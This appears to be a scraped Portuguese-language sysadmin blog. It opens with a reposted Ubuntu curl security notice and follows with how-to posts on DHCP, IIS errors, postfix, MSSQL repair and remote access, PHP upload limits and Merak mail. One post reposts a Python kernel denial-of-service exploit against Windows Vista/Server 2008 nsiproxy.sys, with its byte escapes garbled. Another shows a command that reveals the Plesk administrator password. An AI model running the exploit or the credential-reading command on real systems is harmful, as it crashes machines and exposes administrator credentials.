========================================================================== Ubuntu Security Notice USN-1158-1 June 24, 2011 curl vulnerabilities ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 11.04 - Ubuntu 10.10 - Ubuntu 10.04 LTS - Ubuntu 8.04 LTS Summary: Multiple vulnerabilities in curl. Software Description: - curl: HTTP, HTTPS, and FTP client and client libraries Details: Richard Silverman discovered that when doing GSSAPI authentication, libcurl unconditionally performs credential delegation, handing the server a copy of the client's security credential. (CVE-2011-2192) Wesley Miaw discovered that when zlib is enabled, libcurl does not properly restrict the amount of callback data sent to an application that requests automatic decompression. This might allow an attacker to cause a denial of service via an application crash or possibly execute arbitrary code with the privilege of the application. This issue only affected Ubuntu 8.04 LTS and Ubuntu 10.04 LTS. (CVE-2010-0734) USN 818-1 fixed an issue with curl's handling of SSL certificates with zero bytes in the Common Name. Due to a packaging error, the fix for this issue was not being applied during the build. This issue only affected Ubuntu 8.04 LTS. We apologize for the error. (CVE-2009-2417) Original advisory details: Scott Cantor discovered that curl did not correctly handle SSL certificates with zero bytes in the Common Name. A remote attacker could exploit this to perform a man in the middle attack to view sensitive information or alter encrypted communications. Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 11.04: libcurl3 7.21.3-1ubuntu1.2 libcurl3-gnutls 7.21.3-1ubuntu1.2 libcurl3-nss 7.21.3-1ubuntu1.2 Ubuntu 10.10: libcurl3 7.21.0-1ubuntu1.1 libcurl3-gnutls 7.21.0-1ubuntu1.1 Ubuntu 10.04 LTS: libcurl3 7.19.7-1ubuntu1.1 libcurl3-gnutls 7.19.7-1ubuntu1.1 Ubuntu 8.04 LTS: libcurl3 7.18.0-1ubuntu2.3 libcurl3-gnutls 7.18.0-1ubuntu2.3 After a standard system update you need to restart any applications that make use of libcurl to make all the necessary changes. References: CVE-2009-2417, CVE-2010-0734, CVE-2011-2192 Package Information: https://launchpad.net/ubuntu/+source/curl/7.21.3-1ubuntu1.2 https://launchpad.net/ubuntu/+source/curl/7.21.0-1ubuntu1.1 https://launchpad.net/ubuntu/+source/curl/7.19.7-1ubuntu1.1 https://launchpad.net/ubuntu/+source/curl/7.18.0-1ubuntu2.3 -- ubuntu-security-announce mailing list ubuntu-security-announce@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-security...   Fonte: http://lwn.net/Articles/449147/

Windows 2008 server exploit DOS

Standard

#!/usr/bin/python

############################################################################
##
## Title: Microsoft Windows Vista/Server 2008 "nsiproxy.sys" Local Kernel DoS Exploit
## Author: Lufeng Li of Neusoft Corporation
## Vendor: www.microsoft.com
## Vulnerable: Windows Vista/Server 2008
##
############################################################################
from ctypes import *
kernel32 = windll.kernel32
Psapi = windll.Psapi
if __name__ == '__main__':
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2
SYM_NAME = "\\.\Nsi"
dwReturn = c_ulong()
out_buff = ''
in_buff = ("x00x00x00x00x00x00x00x00xecx2dx39x6ex07x00x00x00"
"x01x00x00x00x00x00x00x00x38x89x6cx01x08x00x00x00"
"x00x00x00x00x00x00x00x00x10xfax78x00x28x00x00x00"
"x38xfax78x00x0cx00x00x00")
handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)

dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)

 

E o fim do filme é:

2008

2008

Fonte: http://www.exploit-db.com/exploits/17305/

DHCP Server Ubuntu Linux Ubuntu

Standard

Olá galera tudo na paz?
Hoje vou mostrar de forma simples como configurar um Servidor de DHCP no Ubuntu (diga-se Debian-like)….
DHCP é a siga Dynamic Host Configuration Protocol que é na verdade é um protocolo de serviço TCP/IP que oferece configuração dinâmica de terminais, com concessão de endereços IP de host e outros parâmetros de configuração para clientes de rede.
A comunicação do cliente com o Servidor DHCP funciona da seguinte forma, o Cliente envia um pacote em UDP em Broadcast (quer dizer que é destinado a todas a máquinas da rede) com um pedido DHCP (Configurações gerais como IP e DNS), o servidor DHCP que
primeiro capturar este pacote enviará de volta um pacote contendo as configurações, onde constará pelo menos um endereço de IP, uma máscara de rede como parâmetros opcionais Gateway, Servidor Wins, DNSs, dentre outras consigurações.
O DHCP usa um modelo cliente-servidor, no qual o servidor DHCP mantém o gerenciamento centralizado dos endereços IP usados na rede.

DHCP em Linux é mais rápido que DHCP em WIndow$?
Sim, isso não é mito… A vantagem do Linux sobre o Window$ nesta questão é que o Linux suporta o protocolo TCP/IP nativamente(via módulos de Kernel), enquanto o Window$ utiliza uma camada de compatibilidade (WInsock,que traz perda de desempenho por não estar diretamente no Kernel) para oferecer suporte a TCP/IP.
Existe também o Mito de que o DHCP Linux é mais difícil de ser configurado, Mentira…. Verão por meio desse how to que é simplista, tanto a configuração quanto manutenção desse DHCP em Linux.
Deixemos de balela e mãos a obra.

Primeiro, colocar um IP Fixo

root@appunix:~#ifconfig eth0 192.168.2.2 netmask 255.255.255.0 up

ou use esse how to e aprenda um pouco sobre configuração de interfaces de rede.

Agora é hora de instalar o pacote dhcp3-server

root@appunix:~#apt-get update

root@appunix:~#apt-get install dhcp3-server

Após o pacote intalado, pode fazer backup do arquivos de configuração do nosso DHCP(caso aconteça algum erro poderemos voltar com ele)

root@appunix:~#mv /etc/dhcp3/dhcpd.conf /etc/dhcp/dhcpd.conf.BKP

Agora vamos criar novamente o conf

root@appunix:~#vim /etc/dhcp3/dhcpd.conf

deixe o da seguinte forma (adaptando às suas necessidades)

ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.13 192.168.2.20;
option subnet-mask 255.255.255.0;
option routers 192.168.2.1;
option domain-name-servers 8.8.8.8, 8.8.4.4;
option broadcast-address 192.168.2.255;
}

Onde:
default-lease-time 600→ controla o tempo de renovação dos endereços IP em nosso caso a cada 10 minutos o servidor verifica se a estação ainda está ativa
max-lease-time 7200→ determina o tempo máximo que uma estação pode usar um determinado endereço IP, isso foi planejado em ambientes onde haja escassez de endereços IP no nosso caso cada IP fica “alugado” por no máximo 2 Horas(isso só é legal quando você tem menos IPs disponíveis do que estações e, quando todas as estações não ficam ligadas ao mesmo tempo)
authoritative→ significa que esse é o principal DHCP de sua rede
subnet 192.168.2.0 netmask 255.255.255.0→ significa faixa de faixa de IP e máscara de rede utilizada em sua rede
range 192.168.2.13 192.168.2.20→ aqui especificamos qual a largura de distribuição de IPs para no DHCP, em nosso caso o DHCP irá distribuir IPs de 192.168.2.13 até 192.168.2.20 Inclusive
option subnet-mask 255.255.255.0→ a máscra de rede para os Clintes
option routers 192.168.2.1→ aqui você define o Gateway das estações Cliente
option domain-name-servers 8.8.8.8, 8.8.4.4→ aqui são especificados os Servidores DNS usados pelo seus clientes, costumo usar os da Google (nunca tive qualquer que seja o problema em questão de nomes com esses DNSs)mas, caso tenha um servidor DNS em sua Rede(pode ser o proprio computador) pode colocar aqui o/os IPs deles
option broadcast-address 192.168.2.255→ endereço de Broadcast da Rede

Muito tranquilo…. agora caso trabalhe em uma rede onde usa-se impressoras compartilhadas em alguns hosts, é imprecindível que atribua por meio do DHCP IPs amarrados ao Mac Address (endereço físico e Único para cada placa de rede) ou seja, IPs fixos através do Servidor de DHCP.
Como fazer?
Após a Ultima linha de configuração acrescente

host doooguinha {
hardware ethernet 00:24:8c:4d:e3:7c;
fixed-address 192.168.2.15;}

onde:
host doooguinha→ é o nome o qual você queria dar a essa atribuição de IP
hardware ethernet 00:24:8c:4d:e3:7c→ é o endereço Físico (Mac Address) da minha placa de rede
fixed-address 192.168.2.15→ é o IP fixo que você quer atribuir para essa estação

* Só pra lembrar que o endereço fixo deve estar dentro da faixa de IP estabelecido na parte de range que foi explicado acima

Dica: Use servidor DHCP em uma faixa de Ips diferente daquela que você deixará para DHCP, por exemplo, da faixa de 192.168.2.1 até 192.168.2.20 (Setados na mão, em cada estação) e o restante 192.168.2.21 até 192.168.2.254 para o DHCP, Caso não o faça seu servidor DHCP poderá atribuir um endereço já utilizado por uma estação a outra
por meio do DHCP.

Após feita a configuração agora basta reiniciar o serviço e correr para o abraço

root@appunix:~#/etc/init.d/dhcp3-server restart

ou

root@appunix:~#/etc/init.d/dhcp3-server stop

root@appunix:~#/etc/init.d/dhcp3-server start

Nos clientes há várias formas de receber um Ip por DHCP
Vou mostrar todas pelo terminal

root@appunix:~#dhclient eth0

eth0 substitui-se pela interface usada por seu PC

ou

root@appunix:~#ifconfig eth0 0

onde eth0 é a interface utilizada por seu PC

Clientes WIndow$/ Mac receberam Ip normalmente de forma imperceptível.

Uma observação importante, é que ao configurar um servidor com duas placas de rede, você deve configurar o servidor DHCP para escutar apenas na placa da rede local. Em nossos testes utilizamos Ubuntu e, esta configuração está no arquivo “/etc/default/dhcp3-server”.

root@appunix:~vim /etc/default/dhcp3-server

Procure pela linha:

INTERFACES=”” e deixe de acordo com sua estrutura em nosso caso ficou INTERFACES=”eth0″ só irá escutar requisições de DHCP pela interface eth0.
É isso galera… espero ter ajudado, qualquer dúvida poste um comentário e o mais rápido possível será respondido.:D
Abraço a todos.

Como fazer os pacotes do ubuntu alpha ficarem mais novos (TRICKS)

Standard

Das coisas mais espantosas que podemos perceber com o Ubuntu (Debian Based) é a facilidade de atualização e manutenção geral dos pacotes que o apt-get dá.
Mas você está usando o Ubuntu em alpha testing (talvez até atualizou da 10.10 para 11.04 com do-release-upgrade -d ) e recebe continuamente a informação semelhante a esta:

A LISTA DE PACOTES OBSOLETOS… etc… etc… etc… que na verdade exige uma atualização.

Mesmo com apt-get update && apt-get upgrade -y você não obtém o pacote que deseja.
Veja bem, para conseguir isso basta fazer o seguinte:

 

apt-get dist-upgrade -y

 

Isso vai fazer com que pacotes obsoletos sejam substituídos por pacotes mais novos.

Apliquei esse comando pois no meu caso o Unity havia parado de trabalhar no começo da semana com as últimas updates lançadas.
Esse tutorial se encaixa no caso de você encontrar o seu servidor X quebrado (travando, não passando do login e coisas do tipo).

Fiquei somente triste pois o acpi parou de funcionar de novo. Vou verificar e breve faço um artigo sobre isto.

Depois foi só alegria 😉 .

Service Unavailable HTTP Error 503 – Coisas que só o IIS pode “proporcionar” a você

Standard

Das coisas que mais me irritam a mais especial é a falta de logs precisos por parte do sistema operacional. Em se tratando de Microsoft aí é que a coisa pega e pega FEIO!

Um dos erros que me fizeram gastar aproximadamente 8 horas de troubleshooting foi o erro Service Unavailable HTTP Error 503. Das coisas que mais se alegam são:

– Chaves pré-definidas junto aos serviços do IIS:
http://blogs.iis.net/webtopics/archive/2010/02/17/a-not-so-common-root-cause-for-503-service-unavailable.aspx
e
http://blogs.msdn.com/b/drnick/archive/2006/10/16/configuring-http-for-windows-vista.aspx

– Contas sem autoridade junto ao IIS:
http://social.msdn.microsoft.com/Forums/en/mdmsetup/thread/4689da4a-0452-45b6-bbb4-21ccb76d8ff9

– IIS operando com recursos de 32 bits em plataformas 64 bits:
http://forums.asp.net/p/1502755/3560390.aspx

– IIS com “loucuras” que só Deus para não duvidar:
http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/55f71614-ef1b-4015-b9c8-a42c1e700c25.mspx?mfr=true

– Falaram que pode ser algum sysadmin modificando algo, por isso o downtime:
http://www.checkupdown.com/status/E503_pt.html
http://technet.microsoft.com/pt-br/library/cc736325%28WS.10%29.aspx

Caso você tenha “passado” pelos pontos acima e nenhum deles “sanou” seu problema, e além disso, você tem CERTEZA de que sua appweb está 100% depurada, debug 100% ok, tudo filé, e ainda tem CERTEZA que nenhum admin andou fazendo besteira em seu servidor, a saída pode ser alcançada da seguinte forma:

1 – Observe se existe alguma tabela corrompida em suas consultas SQL na appweb (caso consiga – detalhe, foi meu caso com BDs do tipo Mysql).
2 – Permissões em arquivos remotos ou tempo de resposta a tais chamadas.

Perceba que não é erro em nada de configuração, servidor e etc (evite loucuras como as minhas de tuning, pensando que era um erro de alto processamento, i/o e etc).

Normalmente os logs ineficientes (ex: 503 “n/a” nome do POOL_com_paranente_problema) do IIS falam que o pool de aplicativos “XXX” (nome que você deu ao pool) para rodar aplicativos DOTNET expirou/expulso/estuprou/estrangulou e etc a requisição (quer seja por POST ou GET). (na pasta logfiles dentro de windows – aonde o iis guarda seus logs)
O mais top dos erros:

1. “Connection_Dropped DefaultAppPool”
2. “Connection_Abandoned_By_AppPool DefaultAppPool”

Mesmo que você venha utilizar-se do software de debug que a MS tem, sinto muito em lhe avisar, mas será em vão utilizar-se tal ferramenta!
Siga os meus conselhos nas linhas em negrito, aquilo ali pode salvar seu dia. Use um frontend para executar suas querys e ver se não estão ali as saídas.

Ferramenta: http://support.microsoft.com/kb/919792/

create user output file. Command output: procmail: Error while writing to /var/mail…

Standard

create user output file. Command output: procmail: Error while writing to /var/mail…

Se esta é a mensagem de erro que vem no outlook que de quem está enviando um email para um destinatário que usa postfix seus problemas “SE ACABARAM-SE”.

Entre no console e como root e digite:

postconf -e 'mailbox_size_limit = 0'

Provavelmente é a quota ferrada e este comando te tira da forca :D.

Sistemas afetados: Debian, Ubuntu (lucid lynx, karmic…), Centos 5.5, Centos 5.4…

Como reparar um banco de dados MSSQL 2005

Standard


Ao acessar o mssql management studio procure pela aba query (clicando com o botão direito em cima do banco de dados) e insira as seguintes linhas:

EXEC sp_resetstatus ‘nomedobd’;
ALTER DATABASE nomedobd SET EMERGENCY
DBCC checkdb(‘nomedobd’)
ALTER DATABASE nomedobd SET SINGLE_USER WITH ROLLBACK IMMEDIATE
DBCC CheckDB (‘nomedobd’, REPAIR_ALLOW_DATA_LOSS)
ALTER DATABASE nomedobd SET MULTI_USER

Isto deverá corrigir o problema.

post_max_size uma informação a mais na hora de aumentar o UPLOAD no php.ini

Standard


Olá ALL,
As vezes erramos quando somente aumentamos diretivas do PHP visando upload, tais como:

max_execution_time,
upload_max_filesize,
e até mempory_limit.

Elas até que estão corretas, assim como max_execution_time, só que os forms que enviam dados (refiro-me a arquivos), fazem envio de arquivos pelo método post.
Sendo assim, se quisermos um upload de 96M em um servidor rodando php precisamos colocar no php.ini a informação de qual o tamanho máximo de envio de dados pelo POST.
A saída então seria:

post_max_size = 96M

Isto dentro do PHP.INI.

Pronto, após ajustes o apache deverá ser reiniciado.

Abraços galera!

Error 5.7.1 no Merak Mail Server – erro ao tentar enviar uma mensagem (try send message)

Standard

Bem, o erro 5.7.1 pode significar uma chuva de coisas, mas com uma simples ajuda, ou melhor, com uma simples dica este erro pode parar.

Isto normalmente ocorre por causa do RELAY que está em off (por padrão) após instalado.

O Ajax destes mailserver (o webmail em ajax) é muito bonito (mesmo). (parece que os caras são fanáticos por ext-js)

Ok, acesse o Merak (no gestor administrativo dele) e procure pelo Menu SECURITY, neste menu, procure pelo item Allow RELAY.

Isto deve resolver, caso não resolva procure por DENY SMTP EHLO, se estiver marcado, desmarque.

Caso não resolva, em última instância desabilite o suporte por SSL/TLS.

Bugs estão por toda parte e isto faz parte do panelão.

Abraços.

Como saber a senha do administrador do Plesk em um windows server 2003 ou 2008 (webedition, enterprise, standard, datacenter)

Standard

Para saber a senha do administrador do Plesk em um windows server 2003 ou 2008 (webedition, enterprise, standard, datacenter) basta rodar o seguinte comando:

C:\””PASTA DE PROGRAMAS””\SWsoft\Plesk\admin\bin\plesksrvclient.exe” -get (no 2003)
“C:\””PASTA DE PROGRAMAS”\Parallels\Plesk\admin\bin\plesksrvclient.exe” -get (no 2008).
Abraços.

Como habilitar conexões remotas com o mssql server 2005 (express ou standard/enterprise)

Standard

Como configurar Conexão Remota no SQL Server 2005

Muitos casos de problemas com conexão ao servidor de Banco de Dados ocorrem por uma limitação que o SQL Server 2005 possui por padrão. Esta configuração de segurança que vem padronizada no SQL pode ser alterada facilmente. Neste artigo, será apresentada uma maneira de como solucionar este problema rapidamente. Para simular o ambiente, duas máquinas serão utilizadas. Uma será o Servidor de Banco de Dados, e a outra será a máquina cliente. No diagrama abaixo, existe uma arquitetura de exemplo para ilustrar a solução.

O nome do Servidor de Banco de Dados é NGRSERVER e a máquina cliente se chama NOTEBOOK. A instância do SQL Server 2005 que está no servidor é chamada de SQL2005.

Vamos ao que interessa. Ao tentar acessar o Servidor de Banco de Dados com sua configuração padrão, uma mensagem de erro é apresentada. Esta Depois de acessar a tela das propriedades da instância do SQL Server, escolha, no menu da esquerda, a opção Connection. A parte direita da tela será referente à Connection, procure a opção Allow remote connection to this server. Deixe esta opção marcada. Clique em OK.mensagem diz que ocorreu um erro enquanto estabilizava uma conexão com o servidor, esta falha pode ser pelo fato da configuração padrão do SQL Server não permitir conexões remotas.

“An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections”

A solução deste problema é resolvida em alguns passos.

Código:
1. Permitir conexões remotas à instância do SQL Server que será acessada de outro computador;
2. Habilitar o protocolo  TCP/IP para conexão e tráfego de informações;
3. Iniciar o serviço do SQL Server Browser;
4. Configurar o  Firewall para permitir que informações relacionadas ao SQL Server seja permitido de passar por ele.

.[/COLOR]

Estes passos garantem a conexão remota do SQL Server. Abaixo cada passo é explicado detalhadamente.

Passo 1: Para permitir que computadores acessem instâncias do SQL Server em outra máquina, a primeira coisa a ser feita é uma configuração na instância que receberá as conexões remotas, no nosso caso, o SQL2005 no servidor NGRSERVER.

Para fazer isso, conecte-se localmente na instância do servidor, clique com o botão direito na instância conectada e aponte o mouse para Properties.

Depois de acessar a tela das propriedades da instância do SQL Server, escolha, no menu da esquerda, a opção Connection. A parte direita da tela será referente à Connection, procure a opção Allow remote connection to this server. Deixe esta opção marcada. Clique em OK.

A conclusão deste procedimento passa a garantir que a instância do SQL Server poderá receber conexões remotas, mas este não é o único passo a ser cumprido. Mais alguns passos devem ser seguidos para a conclusão da tarefa.

Passo 2: Para permitir que o protocolo TCP/IP trafegue informações do SQL e que conexões possam ser estabelecidas através deste protocolo, vamos liberá-lo no SQL Server, utilizando uma ferramenta disponível na instalação das ferramentas de administração. A ferramenta é o SQL Server 2005 Surface Area Configuration. Esta ferramenta por padrão, encontra-se na pasta Configuration Tools do SQL Server 2005. Nesta ferramenta, utilizaremos os recursos de Surface Area Configuration for Services and Connections.

Acesse Surface Area Configuration for Services and Connections, no menu da esquerda expanda o item da instância, neste caso, SQL2005. Depois expanda Database Engine e selecione Remote Connections. Na tela da direita, selecione a opção Local and remote connections e em seguida Using TCP/IP only. Clique em OK.

Esta configuração permite agora, que a instância selecionada receba conexões locais e remotas, as conexões remotas serão somente por TCP/IP. A opção Using both TCP/IP and named pipes também poderia ser sido utilizada, sem problemas.

Continuando com a configuração do TCP/IP, vamos utilizar agora outra ferramenta, SQL Server Configuration Manager. Nesta ferramenta utilizaremos o recurso SQL Server 2005 Network Configuration, que se encontra no menu da esquerda. Ao expandir este item, encontramos o Protocols for SQL2005. Ao clicar nele, algumas opções se abrirão do lado direito da tela. Nas opções disponibilizadas, devemos deixar o protocolo TCP/IP com status de Enabled. Para fazer isso, clique com o botão direito do mouse em TCP/IP e vá em Enabled. Após isso, ele aparecerá configurado.

Depois de configurar o status para Enabled, mais duas verificações devem ser feitas nas propriedades do protocolo TCP/IP. Para acessar estas configurações, clique com o botão direito do mouse em TCP/IP e em seguida em Propriedades. Uma tela com duas abas superiores se abrirá. A primeira aba Protocol, deve ficar com a propriedade Enabled configurada para Yes.

Na segunda aba, IP Addresses, devemos garantir que as propriedades Active e Enabled estejam configuradas para Yes.

Após garantirmos estas configurações, clicamos em OK para salvar nossas alterações.

As alterações que foram feitas nestas duas ferramentas são úteis para garantir que a instância do SQL Server selecionada possa receber conexões remotas e que o protocolo remoto de conexão é o TCP/IP.

Passo 3: Para iniciar o serviço do SQL Server Browser, utilizaremos novamente a ferramenta SQL Server Configuration Manger. Para acessar a área que controla os serviços do SQL Server, no menu da esquerda, será utilizado o item SQL Server 2005 Services. Na parte direita da tela, os serviços relacionados ao SQL Server são apresentados. O serviço SQL Server Browser encontra-se com seu State configurado para Stopped. Para iniciar o serviço, clique com o botão direito do mouse no serviço e em seguida clique em Start. Este processo levará alguns instantes, e o State antigo passará a ser Running.

fim da 2ªparte

Após a inicialização do serviço do SQL Server Browser, e as configurações de liberação para acesso remoto e de TCP/IP, o serviço da instância do SQL Server deve ser reiniciado para que as alterações tenham efeito. Para fazer isso, na mesma tela onde foi iniciado o serviço do SQL Server Browser, selecione o serviço do SQL Server (SQL2005), clique com o botão direito do mouse e aponte p ara Restart. Aguarde alguns instantes a parada e a inicialização do serviço. Lembre-se que SQL2005 é a instância do SQL Server do servidor que utilizamos como exemplo.

Passo 4: Para que as conexões remotas funcionem no SQL Server 2005, o Firewall da rede deve ter exceções para as instâncias do SQL Server 2005 e o serviço do SQL Server Browser. Para exemplificar, colocaremos as exceções no Firewall do próprio Windows. Caso você utilize outro Firewall, você deve ler sua documentação para realizar o procedimento de liberação dos programas utilizados.

O Firewall do Windows está presente nas instalações do Windows XP com Service Pack 2 ou superior. Para acessar o Firewall do Windows, vá em Iniciar > Painel de Controle > Firewall do Windows ou digite firewall.cpl em Iniciar > Executar e clique em OK. A liberação no Firewall deve ser feita para cada instância que terá suas conexões remotas permitidas. Realizar estas exceções em cada instância do SQL Server é necessária pelo fato de ser permitido instalar diversas instâncias do SQL Server em um mesmo servidor. Cada instalação do SQL Server é chamada de instância, e cada instância pode ter quantos Bancos de Dados forem necessários, podendo ser repetidos ou não em uma instância ou outra. Para colocar uma instância do SQL Server nas exceções do Firewall, devemos abrir a aba Exceções do Firewall do Windows, clicar em Adicionar Programa, procurar o arquivo SqlServr.exe que por padrão, encontra-se na pasta C:\Arquivos de Programas\Microsoft SQL Server\MSSQL.1\MSSQL\Binn.

A pasta MSSQL.1 é a pasta referente à instância 1 do SQL Server. Se for colocar uma exceção para uma segunda instância do SQL, o arquivo SqlServr.exe deve ser localizado na pasta MSSQL.2.

Para colocar uma exceção ao serviço do SQL Server Browser, devemos seguir os mesmos passos que percorremos para colocar exceção à instância do SQL Server, a única diferença será procurar o arquivo SqlBrowser.exe que por padrão está na pasta C:\Arquivos de Programas\Microsoft SQL Server\90\Shared.

Estes passos apresentados auxiliam a conexão remota com o Servidor de Banco de Dados através de máquinas clientes. Podemos ver que seguindo os passos corretamente, o acesso de aplicações e de ferramentas administrativas deixou de ser exclusivamente da máquina do Servidor de Banco de Dados, e passou a ter acessos liberados para outras máquinas da LAN (Local Area Network). Lembrando que, para acessar uma instância do Banco de Dados, você terá que colocar um usuário e senha válidos para realizar a conexão.

Dica retirada de:
http://www.chmod.com.br/vb/showthread.php?t=6890